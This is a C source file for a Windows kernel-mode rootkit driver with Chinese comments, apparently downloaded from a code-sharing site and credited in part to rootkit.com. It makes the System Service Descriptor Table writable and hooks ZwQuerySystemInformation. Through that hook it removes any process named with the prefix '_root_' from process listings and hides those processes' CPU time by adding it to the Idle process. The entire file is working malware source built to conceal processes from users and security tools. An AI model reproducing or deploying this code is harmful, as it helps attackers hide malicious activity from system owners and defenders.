www.pudn.com > hookProcess.rar > hook.c
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//获得SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//声明各种结构
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
// Added by Creative of rootkit.com
LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;
//我们的hook函数，过滤掉以"_root_"开头的进程
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// 列举系统进程链表
// 寻找以"_root_"开头的进程
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation += curr->NextEntryDelta;
}
else // 唯一的进程
SystemInformation = NULL;
}
}
}
else // Idle process入口
{
// 把_root_进程的时间加给Idle进程，Idle称空闲时间
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// 重设时间，为下一次过滤
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8) // 列举系统进程时间
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("ROOTKIT: OnUnload called\n");
// 卸载hook
UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
// 解索并释放MDL
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
DbgPrint("ROOTKIT: Start\n");
// 注册一个卸载的分发函数，与应用层沟通
theDriverObject->DriverUnload = OnUnload;
// 初始化全局时间为零
// 这将会解决时间问题，如果不这样，尽管隐藏了进程，但时间的消耗会不变，cpu 100%
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
// 储存旧的函数地址
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
// 把SSDT隐射到我们的区域，以便修改它为可写属性
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变MDL的Flags属性为可写，既然可写当然可读，可执行
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
// 用了宏，把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步，先突破了SSDT的保护，接着用宏更改了目标函数，下来就剩下具体的过滤任务了
HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
return STATUS_SUCCESS;
}